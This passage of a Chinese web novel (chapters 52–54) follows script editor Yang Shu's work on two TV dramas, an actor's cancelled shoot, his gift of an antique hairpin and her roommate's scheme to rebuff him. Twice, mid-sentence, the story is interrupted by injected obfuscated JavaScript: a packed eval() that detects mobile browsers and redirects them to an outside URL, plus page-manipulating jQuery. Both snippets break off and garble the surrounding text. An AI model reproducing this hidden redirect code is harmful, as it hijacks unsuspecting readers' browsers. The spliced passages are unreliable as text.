杨树再面对《西北年轻人》和《北宋宫事》剧本时,思路清晰多了。等《西北年轻人》改出新的前10集剧本,她连同剧本大纲交给詹忆和钱一诺。钱一诺提出几条意见,等编剧修改完毕,他把相关文档交给总局,请老领导再把把关。 老领导认为《西北年轻人》较上一版有了很大改观,有些不够严谨的台词都被他们圈出来,要求写完全部剧本再提交一次,还指示拍摄时布景绝不能马虎,按照范式来。 《西北年轻人》被列入脱贫攻坚题材重点电视剧名单,钱一诺打算剧本定稿之后再建组,他让杨树先做着责编工作,随后杨树被人事专员喊去签了新合同,每月底薪涨了一万块。 秦朗订了杨树一直想吃的餐厅,喊上丁盼兮一起庆祝。杨树对加薪有点懵,丁盼兮笑她身在局中脑子发木,剧本没让钱一诺操心,却让上头满意,给她一点小甜头,小意思。 杨树觉得功劳跟自己关系不大,剧本成熟度高,得益于霜晨月多年的县城生活经验,原著底子打得好,编剧们也肯吃苦,能充分领会各方意见,既弘扬了主旋律,还具备可看性。 秦朗很崇拜女朋友:“杨老师指导有方。” 《西北年轻人》越写越顺,杨树对《北宋宫事》更上心些。方雯和霜晨月写常规戏没问题,但朝堂戏有点吃力,好在单明玉能从《战朝阳》后期工作中分出精力聊剧本了。 市面上有些打着权谋剧旗号的古装剧,总让看似老奸巨猾的人说些似是而非的浅薄话语,单明玉在编剧交的剧本上现改,再请文史顾问一句一句地修台词,精心构建每个在场人物形象。 杨树和易无配合编剧讨论大块情节,姚澈看到焕然一新的《北宋宫事》前5集剧本,称赞之余,让杨树担任制片助理,她和各方都能沟通到位,执行力很强。 姚澈的助理一贯是她的制片主任,目前被抽调去公司另一部戏做执行制片,原制片助理提为制片主任,杨树顶了缺,虽然没做过这一工种,但凡事都能学。 一部戏离不开投资人、制片人和导演,在目前体系里,他们分别是投钱的、管钱的和花钱的,制片助理杨树相当于小管家,从道具到现场设备,从文书工作到片场秩序,大小事务都能掺和一脚。 易无对《北宋宫事》剧本有贡献,杨树申请给他署名为文学编辑之类,姚澈不仅同意加名,还主动让她填个申请单,给易无发放劳务费。 事情超过预期,杨树喜出望外。姚澈说自己身为制片人,都经常要去争话语权,编剧更没有,大家都在工业体系里,一时半会儿改不了,只能让编辑心里好过点,公司不在这方面省小钱。 易无特别高兴,这笔劳务费够他在北京踏实生活三五年,等《西北年轻人》写完,他就安心写小说去。 杨树在事业上打开新局面,一家三口人自然又下了顿馆子,这次是丁盼兮请,她考完CPA,这回稳了,向公司申请转岗。她现在在人事做行政,想去做薪酬福利,攒点经验,回头把履历弄漂亮点,换个职位和薪水都有提升的工作。 追丁盼兮的人很多,但没有合心意的,她把约会当消遣,无聊时就出去吃个饭,看场电影,有时在外面过过夜。过了30岁大关,她反而没以前那么焦虑了,只想找个温暖善良的男人,找不到随缘。单身没什么好恐慌的,没钱才让人心里发慌。 52. 第 52 章 作为责编的杨树,经常和编剧讨论《西北年轻人》和《北宋宫事》的情节发展;作为制片助理的杨树,频繁出差,陪同姚澈和美术总监为《北宋宫事》勘景,辗转于横店、无锡和河北等地。 《北宋宫事》拍摄地点虚实结合,外景实拍,内景需要搭景和改景,再创作的比例很高,这在大剧里很常见。杨树考察现场,每日都有进益,心里分外踏实。 深秋的横店气候宜人,有天杨树刚回到酒店,祁宁联系她,他看到杨树发到朋友圈的照片,才知道她来了横店。 杨树一行住普通连锁酒店,私密性不行,但时间不早了,祁宁没让她出去,开来一辆越野大车,两人坐在车里交谈。 《大清行商》定于下个月开机,祁宁和一众演员都已陆续进组,开展为期一个月的剧本围读会,因为故事生活在广东,几个主要演员还得学习粤语。主演们的定装照已于昨天拍摄完毕,祁宁有点不好意思地摘下帽子,让杨树看他的光头。杨树看得咯咯乐,难怪这人大半夜又是戴帽子又是裹围巾的。 祁宁不大适应光头,把帽子戴上了,悻然道:“别人看到都会摸一下,从昨天到现在,不知被摸了多少回。” 杨树又笑,原来他刚才把头伸过来,是以为自己也会摸一下。相识快两年,祁宁不再是初见时腼腆羞涩的模样,性子活泛了点,话也多了些,说完他的工作,转而问起杨树的近况。 得知杨树当上了制片助理,祁宁开心里带着埋怨:“怎么不早说?我好准备准备。” 杨树指了指手边的甜品:“已经准备了,不准再送贵的。” 甜品是祁宁的助理发掘的宝藏,据说极美味,他不碰甜食,但他留意过杨树的口味,他说甜品不算,而且两人说好了,送礼物要大大方方,杨树举手讨饶:“朋友要礼尚往来你知道吧,我是穷人你知道吧?” 祁宁微笑看她:“你给我机会,就是回礼。” 杨树挠头,她是真想让祁宁演她负责的项目,可她只是责编和制片助理,对演员人选只有建议权,不敢拍胸脯对他承诺什么:“我们公司项目挺多,我尽力。” 祁宁仍笑,目沉如水:“我不是这个意思。” 杨树没反应过来,祁宁正色:“机会是不期而遇的,也可能峰回路转,就像我拿到现在这个角色一样,对吧?” 杨树就又跟他聊了聊这部戏,从她收到祁宁转发的现有剧本来看,有几场大戏写得不算好,得靠人抬戏,她让祁宁找公司要到《瓷缘》的粗剪素材,男主角也是商人,演员跟导演合作无间,把角色演得很准确,有很高的参考价值。 祁宁应了,杨树向他告别,秦朗生日在即,她定了上午的航班,回北京给他过生日,得起大早赶去义乌机场,祁宁为她拉开车门,她拎着甜品下车,刚好能当明天的早餐。 车就停在酒店侧边的空地上,杨树没让祁宁送到门口,自己慢慢走回去,回头一看,祁宁靠在车边目送她,他个高腿长,穿着风衣倚在夜色里,看上去无比寂寥,像一帧老电影海报。 夜风清冷,杨树心随念转,以祁宁现在的造型,如果能演个黑色电影,阴鸷的光头杀手什么的,一定很迷人。但电影和电视剧是两套体系,她前后待的两家公司都只是偶尔参投,她不认识什么人,想想罢了。 回京后,杨树给秦朗换了车。上半年,《瓷缘》和《战朝阳》开机,她拿到了与之相关的全部酬劳,给《西北年轻人》和《北宋宫事》当责编,也拿到一些钱,是丰收的一年,可以给男朋友送个好点的生日礼物。 秦朗开辆十万出头的车,杨树不懂车,但车贵一点,性能好一点,安全系数也高点,她让梁卓参考,买了一台新车,秦朗不出差和加班就接送她上下班,她也受益。秦朗美滋滋地接受了,他早就想好了,等明年底杨树买天津的房子,他赞助首付费用。 旧车卖了二手,秦朗勒令圣诞节不能再送礼物,杨树说到做到,真没送,但平安夜,秦朗送了她一件品牌羊绒大衣,虽然北京的深冬穿不住它。丁盼兮嘲笑两人一送礼物就成了老夫老妻,秦朗搂着杨树喊媳妇,但两人这几年正拼事业,结婚的事没提上日程,不急。 圣诞节正值周一,杨树处理完公事,赶去祁宁朋友的会所跟他见面。祁宁约的本来是平安夜,杨树说秦朗订了餐厅。电话里,祁宁语气低落,约的还是以前谈凌汐事件的地方,杨树以为又发生了类似的事,带上一瓶威士忌,她酒量好,可以陪他消愁。 祁宁给杨树叫了车,杨树赶到会所,是日暮时分。祁宁把自己扔在窗边的沙发里等她,戴着帽子,微微垂着头,天光将暗未暗,他颓唐得像一句残诗。 杨树心一紧,快步走近,坐下问是不是剧组的老演员对他不利,祁宁笑得苦涩:“是倒好了。剧组上周解散了。” 杨树大惊,祁宁从头说起,剧本策划之初,出品方就拿出去探路,综合众人意见做出剧本,但拍了半个多月,资方紧急喊停。题材敏感,还是不碰了,终止虽然亏本,总比拍完卖不出去强。 杨树快速地回想看过的剧本,祁宁的角色生于乾隆年间,其父独立创建洋行,清政府实施全面海禁政策后,仅余包括男主角家族在内的十三家洋行,合法进行外贸生意。父兄先后去世后,男主角接管了家族生意,从容游走于官府、同行和外商之间,因乐善好施而赢得声誉。 官商身份赋予了男主角天然的垄断优势,但软肋也在于此,兴衰成败都系于官方态度和政策,随着钦差大臣林则徐南下,男主角的命运被改写。家族的洋行并不涉足鸦片贸易,但他们禁不住担保的外商胡作非为,而且外商们的非法行径,其实是被地方政府纵容的。 男主角被动卷入多方势力,虎门销烟后,道光皇帝下令关闭对外贸易,洋行生意中断。紧接着,英军攻城略地,清政府战败,要求行商们承担《南京条约》涉及的外商债务,男主角首当其冲,为国出资。 《南京条约》签订第二年,男主角病逝,广州十三行也逐渐衰败。第二次鸦片战争爆发后,英军的炮火摧毁了珠江沿岸的各家洋货行,广州十三行成为历史的尘埃。 整个故事波澜壮阔,是乱世中的一曲悲歌,它不是安全题材,但当初多方论证能做。出品方本身不是小公司,有人脉有资源,还找了若干顾问保驾护航,然而政策风向不好说,平台不敢买了,拍摄终止了。 这是祁宁第一个男主角,他为它推了几部人设不错的男二号,片酬也比这边高,经纪人柳艳不知多烦他,他咬着牙,想把角色演到他能给出的最佳水平,但事与愿违。 停拍的原因到底是什么,因为闭关锁国,因为割地赔款?但男主角和故事是有原型的,他能存在于史书中,为何不能是影视剧里的角色?祁宁茫然地盯着面前的柠檬水,答案永不可知。 杨树沉默不语,这种失望到极点的无力感,她体会过不止一次。最早可能要追索到大学四年级,国考考了并列第一,但那家单位录用的是男生,理由是男生不娇气,能吃苦。 有些事你撼不动。祁宁做到了他目前能力范围内的最好,但也没什么用。杨树打开威士忌,给他倒了一杯,推过去:“很好闻。咱俩把它喝了,其余的事,都去他的,歇几天再想。” 祁宁一双眼睛失了焦一般,似乎没听见她在说什么,戏不拍了,下一个在哪里?所有的计划都被打乱了。 杨树很明白落空的滋味,跟他说起国考落选,当时怨天尤人,但今天也算过得不错,虽然很难说,如愿从事草原治沙工作,是不是更加乐在其中。 祁宁听进去了些:“但是遇不到现在遇见的人。” 杨树想到秦朗,想到丁盼兮,想到章嘉敏和朱青,笑得眉眼一弯,伸过杯子,跟祁宁的碰了碰,一口喝尽:“感谢北京,我在这里结交到一生的朋友们。” 祁宁端着酒杯,没喝,极其认真地看着她,杨树说:“这段时间休息一下,休整好了再去找找古装剧,反正要戴头套,能找到清代戏就更好了。” “一时半会儿哪有那么容易找?”祁宁没摘帽子,沮丧地摸了摸头,他说自己像一盏路灯,太阳出来了,还浑然不觉地亮着,很可笑。 眼前人曾经为拿到男一号那么雀跃过,如今双眉紧皱,眼中的亮光黯淡了,杨树心里不好受,本能说道:“很帅,真的,上次看到就觉得帅。” 祁宁坐直了些,深深看她,杨树见这句话管点用,打量着他,他背光而坐,半明半昧的光落在他脸上,眼中映照着焰光,这张脸是真的很危险,她说:“能演很多边缘人,特别是把观众三观带到沟里去的大反派,散发着邪气,但是该死的有魅力。” 祁宁一径瞧着她,杨树疑心他快要哭出来,否则为何眼中含着两汪清亮的水?她举出几部罪案片里的经典角色,一个个讲给他听。秦朗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091458|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爱看犯罪题材,她陪他看了很多,讲起来得心应手,祁宁眉目舒展了些:“列个片名给我吧,我每天看一部。” 他心情好了点,杨树很有成就感,一口答应,祁宁望着她的笑脸,问:“你昨天收到什么礼物了?” 杨树笑得开心:“羊绒大衣。挺好的牌子,以前没穿过,真没想到,那么薄还能那么暖和。” 祁宁一听便知是谁送的,又问:“其他朋友呢?” 杨树就说丁盼兮、朱青和章嘉敏分别送了她什么,祁宁微微一笑,从抱枕后摸出一只长方形的小盒子递给她:“圣诞快乐。” 杨树打开,是一件古董发簪,看材质是白玉,竹叶形状,簪尾一抹新绿,像是一片叶子落在白雪上。祁宁笑道:“别又以为贵,是剧组的造型总监直接从藏家手里收的,不比你带来的酒贵。” 这瓶威士忌是钱一诺送的,《玫瑰掌门》被老领导赐名为《西北年轻人》那天,他请杨树和詹忆吃饭,饭桌上,杨树夸这酒好喝,钱一诺说自己有几瓶,第二天就让助理送到杨树办公桌上。 杨树好酒,但不拘品牌,十几块钱的白酒照喝,今天来见祁宁,带了这瓶酒,她想得很简单,大老板喝的,不会太便宜,但它居然比想象中贵得多,她有点傻眼。 祁宁很欣赏她这副傻眼的样子,但会错了意:“郑老师眼光毒是出了名的,组里的人都说跟着他淘宝贝,转手就翻几倍。” 杨树把发簪放回锦盒里,合上,推回,祁宁急了:“我大大方方把你抓来当垃圾桶,大方方方喝了你的酒,你就该大大方方收回礼。” 杨树笑起来,她不想收它,没别的,单纯觉得首饰有点那个,男朋友才能送。祁宁见她不收,叹口气:“杨树,我是真的想跟你熟一点。” 确实把他当朋友,每次都推三阻四,是有些怪,但这件礼物跟油画毕竟不同,杨树正迟疑,祁宁说他从小就觉得女人把头发盘起来好看,脖颈修长像天鹅,在剧组看到这件发簪,就找造型总监预定了。组里好几个女人也都买了发饰,她们都说冬天头发弄得利落点,戴围巾好看。 杨树指指自己,再指指帆布包:“我像戴这种东西的人吗?前男友总嫌我活得粗枝大叶,不像个女人。” 祁宁说:“他有眼无珠,所以变成了前男友。现男友呢?” 秦朗昨晚说,你是我的仙境,想死在你这里。杨树忍不住笑,幸福之色一目了然,祁宁没再问,把锦盒塞在她手里,轻声说:“你知道吗,像我们这种粗人,想答谢别人,除了包啊表啊钱的,就是自己了。” 杨树一怔,祁宁转开脸去,有些别扭地说:“偏偏这两种,你都不要。想送你点什么,每次都绞尽脑汁,你不喜欢的话,就送朋友吧,但是不能不收。”他歪歪头,努力开个玩笑,“你看我连头发也没有,用不上,放在我这儿没用。” 他脸上难掩失落,杨树勉为其难地收下了:“每次想拒绝你的礼物,都绞尽脑汁,以后见面就吃吃喝喝谈谈天,别老送东西。” 祁宁就笑:“好,不送。” 祁宁助理开车,把杨树送回家,杨树开门换鞋,秦朗加班还没回来。丁盼兮知道杨树和祁宁见面,出来听点八卦,一眼看到她拎回的纸袋,问:“大明星送你什么礼物了?” 杨树捧出锦盒,小心翼翼拿出古董发簪,丁盼兮看了又看,啧啧道:“怎么看怎么像定情信物,像电视里男主角那样,一脸深情地帮你插上吗?” 杨树说是剧中道具,丁盼兮说一看就是真东西,绝对是剧里女主角戴的,配角没这待遇,杨树一愣,她想起来,看过的剧本里,确实写到男主角为夫人插上发簪。 男主角接管家族生意的筵席前夕,夫妻俩准备行头,絮絮相谈,对叵测前路满怀忧虑。男主角信手拿起夫人首饰盒里的发簪,为她插上:“你看这东西虽漂亮,却能要人的命。” 巨额财富,总伴随着巨大的危险,男主角是父亲第五个孩子,家主之位原本轮不到他,但四哥继承家业一年后就暴毙,他不得不出来主持大局。 夫人反手摸了摸发簪,轻言细语:“但尽人事。真有那一天,我用它随你去。” 男主角揽着她的肩,镜中两张眉眼依稀神似的脸,他说:“活着。” 之前在会所,杨树满脑子都在想如何推却礼物,竟然没想起剧本写过的这一幕。丁盼兮斩钉截铁:“他在追你。” 53. 第 53 章 杨树认为丁盼兮在开玩笑,这是完全没边的事,丁盼兮笑她天真:“你是人,他也是人,一切就有可能。你凭什么觉得不可能?” 杨树说在横店认识祁宁的时候,秦朗就在她身旁,丁盼兮说:“我有男朋友的时候,男人就不追我吗,有老婆的也一样追,追得还特别起劲。他难道还会顾及秦朗的感受不成?有道德观的人没那么多。” 杨树几段感情都是相互有意,水到渠成走到一起,没怎么被追求过,她笑骂丁盼兮言情剧看多了,脑补过度,祁宁自己都不希望被秦朗误会。丁盼兮听闻原委,说她是傻瓜,秦朗那天吃醋吃得有理有据,但吃得不够,够的话,就能引起女朋友重视,不至于连定情信物都稀里糊涂地收了。 杨树觉得她越说越离谱,但丁盼兮认定事情严重,让她仔细聊聊这几次见面,听完下了结论:“他就是在追你。连秦朗都看出他看你眼神不对劲了,他那天绝对是故意的,他想让秦朗误会,这样你就明白了。你倒好,跟他说秦朗大度!不在乎你才不吃醋,你向他传递错误信息了。” 往男朋友脸上贴金居然适得其反,祁宁当时回复“那就好”是这个意思?杨树张大了嘴巴。她承认,祁宁的目光是很温柔,但她认识的艺人没人不放电。 《战朝阳》的流量放电比祁宁凶多了,第一次见面时,杨树被迷惑了一下,从此以后,她对艺人们的眼波含情都脱敏了。祁宁最多是专注地看她,忧伤地看她,欲说还休地看她,但他在所有剧里,都如此这般看女主角,她习以为常。 丁盼兮为祁宁叫屈,俏媚眼做给了瞎子看。杨树此人是直肠子,聪明劲都用在工作上,情感方面很不敏感,才把男人明目张胆的示好当成正常交往,丁盼兮晃着发簪训她:“这也能收?你有男人你还记得吗?” 杨树说是不想收,但那么好看的人委屈答答,她心软了。丁盼兮着急,心软是个很不妙的信号,怜香惜玉会坏菜。以柔克刚,祁宁这招玩得溜。 杨树想了想,还是觉得不可能,祁宁找她聊天,很多时候是碰到烦心事了,男人都要面子,若不是在横店时,话赶话地到了那个情境,秦朗也不会说出跟家里吵架的原委。但她转念一想,两人的关系好像就是那时走近的。 丁盼兮说:“别以为男人不会楚楚可怜撒娇卖乖,景蒲一可擅长这招了,他们都知道咱们这种人吃软不吃硬。我问你,男人会在什么女人面前流露出脆弱?” 杨树想说母亲,但祁宁说过,对父母报喜不报忧,凡事往好里说。丁盼兮说:“是情人。他很依恋你。” 杨树说:“是依赖。我是他自己人,不会出去乱说话。” 丁盼兮骂她是榆木脑袋,像杨树这样全心全意帮祁宁,还对他无欲无求的人,祁宁能认识几个?杨树点头:“所以他总想送我礼物感谢我,不然心不安,但每次都很贵,我也很不安啊。” 丁盼兮说她当局者迷,一个人能遇到几个知心人,何况杨树还是祁宁的贵人,喜欢她再正常不过。她难得这么慎重,杨树就好好想了想:“应该没有这个意思,他没跟我说什么。” “你在他面前把男朋友挂嘴边,他挑明了,可不就把你吓跑了?当然得层层铺垫,润物无声了。”丁盼兮抱着抱枕,严肃地跟杨树谈心,首先她得确定,杨树对祁宁什么想法,杨树说对他是惜才,没想法,对秦朗是惜福,想一直好好过下去。 丁盼兮再问:“如果没有秦朗,你考虑他吗?” 杨树摇头,演员天生多情,还很情绪化,但她很忙,不希望感情生活很麻烦。丁盼兮顿时为宁粉们悲哀,她们梦寐以求,但杨树是工作狂,不要复杂感情,她感慨万千:“人家想追你,你只肯当人家的事业粉,贵圈真乱。” 杨树哈哈笑,始终对丁盼兮的推论将信将疑,丁盼兮说她被男女艺人电麻木了,真把自己当大白菜了,对人类的情意失去了正确感知,好在今晚秦朗加班,不然他可能用发簪上演出租屋杀妻事件,当务之急,得快刀斩乱麻,打消祁宁的念头。 杨树问:“真没想多吗?” 丁盼兮打个响指:“交给我,保证让他知难而退,还能让你俩继续做朋友。” 杨树哟呵一声,丁盼兮自吹自擂,她从16岁早恋至今,历经14年情海浮沉,攒足了经验,除了她自己的,她能解决所有人的情感问题,她让杨树全权授权给她,今天之内解决战斗。杨树应承下来,她很好奇,想看看丁盼兮能用什么办法。 秦朗到家已近零点,杨树和丁盼兮坐在客厅看电视。丁盼兮很少熬夜,秦朗不由问:“你俩怎么还没睡?” 丁盼兮招手让他过来,秦朗很困倦,让她俩看电视,他只想洗完澡就倒头大睡,杨树把他拽到沙发上坐下,丁盼兮拿起杨树的手机,调到自拍模式:“圣诞节,拍个合影。” 这两个女人大半夜怪怪的,秦朗凑到杨树身边,丁盼兮笑道:“啵一个。” 杨树说:“啊?” 秦朗困得不行,抓着杨树亲一下,丁盼兮对两人比划开枪手势,咔嚓一声,镜头留下三人合照。 拍完照,杨树就把秦朗丢开了:“没你的事了,我和盼兮再聊会儿。” 秦朗被弄得莫名其妙,丁盼兮埋头修照片,她长发盘起,一支古典发簪插得妖娆,裹着大花大朵的披肩,看起来有点隆重,他以为这是抓他拍合照的缘故,随口夸簪子不错,然后去拿睡衣洗澡。 丁盼兮摸着头上戴的发簪,对杨树小声说:“他注意得到,祁宁更能发现。” 修完照片,丁盼兮发到杨树朋友圈,用杨树的口吻写道:“这女的说我整天虐狗,逼我为她征友,报名从速。” 朋友圈的夜猫子很多,杨树转眼就收获了一大堆赞,还有几人询问:“哪家艺人?” 丁盼兮只说这件事需要秦朗配合,卖了个关子,但当她用杨树的手机拍照,杨树会过意了。一张照片就能暗示祁宁,这女的没把他的情意看得太重,如他那句客气话,当真把它送给了朋友。 杨树夸办法简单实用,不管会错意与否,总之没有伤了情面。丁盼兮长叹:“你对他还真没那个意思。完全不担心他生气,那他是真没戏。” 杨树朋友圈发得不勤,每条祁宁都会跟她互动,这条他迅速地点了赞,杨树说:“你看,真不是你想的那样。” 丁盼兮拔下发簪还给杨树:“他看到就明白了,没准现在哭红了眼睛。” 丁盼兮爱看古装剧,幼儿园时就喜欢披着红纱巾扮演亡国公主,从房间这头飞到那头,杨树让她把发簪收着,丁盼兮不要,杨树瞪眼:“物尽其用,跟你很多衣服还挺搭。” 丁盼兮说古董货捂着能升值,坚决不收,杨树呲牙:“你想看到我今晚血溅三尺吗?” 丁盼兮笑:“你可以不跟你家秦小朗说。” 杨树好说歹说,丁盼兮就是不收,杨树只得让她对发簪行使使用权,日常使用。秦朗洗漱完,出来问起跟祁宁见面的事,丁盼兮冲杨树眨眨眼,窜进卫生间卸妆。 杨树说那部戏停拍了,再坦白发簪是祁宁送的,她转送给丁盼兮了。恋人是最亲密的关系,她不想对秦朗隐瞒任何事,虽然她并不觉得是丁盼兮以为的那样。 这一晚,并没有发生血溅三尺的惨剧,但有人被拆骨扒皮,浑身散了架,趴在枕头上想,再也不给男朋友脸上贴金了,他一点都不大度,明明到家就喊困。 秦朗回来之前,丁盼兮说她很担心杨树被潜移默化的温柔侵蚀,但为了祁宁放弃秦朗,将来必定后悔,作为朋友,她得避免杨树犯错误。杨树说她多虑了,祁宁如同白玉簪,东西是好东西,但不是她的喜好,她也不需要。 丁盼兮说自己是愚者千虑必有一得:“反正你得听我安排。秦朗是我看上过的男人,我不想他伤心。” 事实证明,丁盼兮那么多场恋爱没白谈,救人一命。冲完澡,杨树回自己房间睡觉,丁盼兮和秦朗的反应都很大,现在她有些相信了,可能自己在这方面是挺迟钝。 去年秋天,有天秦朗部门聚餐,他喊上杨树,杨树跟编剧约好了线上谈剧本,秦朗说:“谈完了找我。” 秦朗不忙时会去接杨树下班,但杨树的工作跟他没交集,没在他同事圈里露过面,她跟编剧谈完,跳上出租车去找秦朗。 宵夜已吃到尾声,秦朗跟众同事介绍杨树是搞影视的,手头全是大几千万上亿的项目,还一口一个我们家杨老师地喊着,狠狠把她吹捧了一通。 杨树当时很莫名,人群散了,秦朗才说,部门有个姑娘对他有意,他当着她的面跟杨树讲电话也没用,前几天,姑娘表白了。 姑娘说不想破坏秦朗和女朋友的感情,也无意让他困扰,她只想向他说出心意。秦朗说:“真不想让人困扰就别说。” 即使这样,姑娘依然坚持心意,表示会等下去,秦朗怒了,喊他家杨老师露个脸。杨老师露完脸就忘记这件事了,她像相信自己一样相信男朋友,她喜欢秦朗,秦朗也喜欢她,两个人互相都是知道的。 没多久,秦朗说那姑娘辞职了。杨树回忆了一下,那天桌前坐了几个姑娘,她不知道是当中的谁,但她们打扮得都挺青春时尚,乍一眼看过去个个都比自己漂亮。秦朗骂她根本就搞不清楚自身优势,一个女的,长得清秀耐看,她男人跟她总有话说,还时不时让她男人有点小崇拜,她以为她不稀罕吗? 杨树跟丁盼兮说过这件事,丁盼兮无语,身在娱乐圈,其实应该很清楚美貌没那么好用。当红的往往不是最美的,普通人群体也一样,能靠美貌打翻身仗的撑死了5%,丁盼兮说其余的都像自己这样,平时能得到一点无关紧要的小便利,但想换个阶层,不知运气得多好,或是多能钻营,可惜很多有点姿色的人都高估了自己,以为美是无往不利的资本。 人都慕强,丁盼兮认为男人比女人过之无不及,一段情感关系里,男人对女人有喜爱之外的欣赏和敬佩之情,这样的关系更趋于稳定,她说:“杨老师镇得住秦工,那些女的没机会。” 秦工在他的工作圈里很受欢迎,杨老师被迫露过好几次面。夜深人静,杨老师愧意涌上心头,她情商向来不高,可能有别人试图追她,但她接收不到信号,男人就找别人去了,祁宁比他们周到,还动不动就来点实在的,秦朗是该生气,以后她知道该怎么做了。 朋友圈内容发过,杨树转头就忘,太多公事等着她去忙,丁盼兮问过几次:“祁宁什么都没说?” 杨树说:“难道他哭哭啼啼找我要个说法?就算他真的有点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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朱青无动无衷地喝酒,这种话她听过一千遍。杨树说:“追是她表达友好的方式,没别的意思。” 丁盼兮吃不准朱青是不是生气了,赶紧承认:“她男朋友我也追过。” 朱青看着她笑,丁盼兮说:“原来你是会笑的啊。”顿时把她一搂,朱青挣开了,压根没给她面子。 丁盼兮脸上僵了一下,搂住杨树,让秦朗连拍了数张照片。朱青很慢热,但她是真的想跟她做朋友,她得慢慢来。 2017年就这样飞快地过去了,杨树过得很充实,惟一遗憾的是郑致。郑致被顾叮叮粉丝后援会踢出后,疯狂买昂贵的代言品,终于被大粉赏识,把他加进核心群。 顾叮叮是女团出身,每逢周年都会举办粉丝见面会,大粉帮郑致搞到高价票,郑致得以和顾叮叮握手。他向张程程描述,被握手的那一刹那,他像是过了电似的,从脚底板到天灵盖,无一处毛孔不哆嗦。 张程程笑话郑致没见识过女人,但她自问白杨冲她一笑,可能也会被电晕过去。谁料郑致食髓知味,找杨树辞职。杨树恳切挽留,郑致在《战朝阳》剧组很被人认可,等明年定档播出前后,他还有表现的机会,应能升职加薪,再不济,拿到年终奖再走。 郑致说他等不及,杨树以为他有新去处,结果郑致跑去横店,包月租了一辆车,趴在顾叮叮拍剧下榻的酒店门口,顾叮叮去哪儿都跟着,沦为私生饭。 横店的五星级酒店少,顾叮叮常住这家。郑致和酒店的前台服务员混熟了,有时半夜会送她回家,顺便打听顾叮叮的事。前台对顾叮叮极为鄙夷,骂她是婊子,因为听说她有几个金主,个个都肥头大耳。郑致和前台大吵,前台却说得有鼻子有眼,连其中之一的车牌号都能报出来。 有一天郑致跟踪顾叮叮,果真看到她被年纪大得能当她爸的老男人狂啃一气。当年初见,顾叮叮穿着女仆装,拿着仙女棒,跟其他女孩一起学猫叫,那么纯洁乖巧。郑致对电视上的她一见钟情,他想象的仙女就是她的模样,可她的另一面不堪入目。 平安夜那天,张程程来给杨树送礼物,杨树才知道郑致辞职一个多月后,竟发生这么多事情。她深深叹气,其实郑致看到的真相不过是冰山一角,《战朝阳》选角那阵子,几个投资人都说到顾叮叮,她影视和商务资源都不错,只因她比一般人更豁得出去。 杨树还记得,当中有个投资人叹息,他审美稳定,只爱大飒蜜,被朋友嫌弃落伍。这两年走俏的居然变成顾叮叮这一类型,她们颇具白袜子少女的幼态美,被一帮特殊嗜好的人青睐。杨树没跟郑致说这些,说了他也不会相信,但当他亲眼所见,崩溃了。 郑致购买顾叮叮代言的产品时大肆网贷,每个月只还得起最低额,北京住不起了,他把房子转租出去,黯然回乡。张程程给他打了很多个电话,承诺陪他熬过去,陈曦之后有白杨,顾叮叮之后也会有别人,漂亮的男孩子女孩子永远都会有。 杨树不是太明白粉丝这种极度幻灭的心理,但替换成恋爱关系,似乎就说得通了。丁盼兮对牙医也幻灭过,调整了半年,她完全放下了。 丁盼兮开始懂得,再跟谁恋爱,走不下去,都不在自己身上找原因了,管他呢,就是男的不行。这样想,才有助于身心健康。 54. 第 54 章 过完元旦,祁宁接了两个特别出演的角色,一个是清宫戏里惊鸿一瞥的探花郎,一个是军旅剧的特种兵,后者3月初开机,他能顶个精干的小平头,友情客串十来场狙击戏。杨树回复他的信息:“更想看特种兵,好好演。” 祁宁回个好字,各自去忙碌,杨树挺喜欢这样,似水无痕,不关风月。 手头的项目都平平安安地行进,杨树仍然常去剪辑室学习《战朝阳》的后期制作。这部戏情节紧凑,剪辑也凌厉,但几组男女情的名场面都拍得很舒缓,单明玉说名场面是情感逻辑的重要节点,值得用0.5倍速和多角度重复剪辑去渲染,这些时刻不用太考虑节奏,感染力才是最重要的。 杨树自查自纠,《西北年轻人》和《北宋宫事》也得有些抒情和诗意的段落,影视剧像一条大河,是讲点调度和流动感的,不能一味追求戏剧化。那些打到人心里去的,通常不是强冲突快节奏,情感上她不够细腻,但是做项目,得尽可能跳出固有性格去思索问题。 月中,《战朝阳》送审样片出炉。杨树看得幸福感油然而生,它是从她的创意发散出去,算第一个真正的作品。去年,《战朝阳》拍摄过半时,就粗剪了部分素材举行了看片会,邀请各大投资方和卫视前去看片,得到了较好的评价,杨树期待它过审顺利。 单明玉在《战朝阳》的工作告一段落,全力扑到《北宋宫事》的筹备上。姚澈已经做了很多工作,最花钱的是服装。在专业的历史团队指导下,单明玉御用的美术造型总监常伟亮率队,做出的服饰不仅符合宋朝宫廷服装形制,又兼顾现代人的审美,很有杨树想象的中国风。 常伟亮不如活跃在业内的另外几人有名,但那帮人热爱比拼款式设计,却忽略真正的历史形象。杨树细看常伟亮和造型设计团队做出来的东西,面料质感和服装细节无不考究,可以以小见大窥见时代风貌和文化,她压力倍增。 服装是具象的宋代文化细节支撑,做出了气质,但它是皮相,大多数观众想看的是好故事,把剧本做出气质,才是更该去追求的品相。杨树不再每5集看一次剧本,她让编剧写完一集交一集,自己先行琢磨着,5集再集中整改。 祁宁主演的《大清行商》停拍,让杨树唇亡齿寒,《北宋宫事》前10集剧本定稿后,她发给卫视的夏停过目,夏停打来电话。从近期风向来看,朝堂权谋戏份得适当控制,以家庭戏份为主,在情感脉络上兼顾历史变迁,实现历史剧的现实通路。 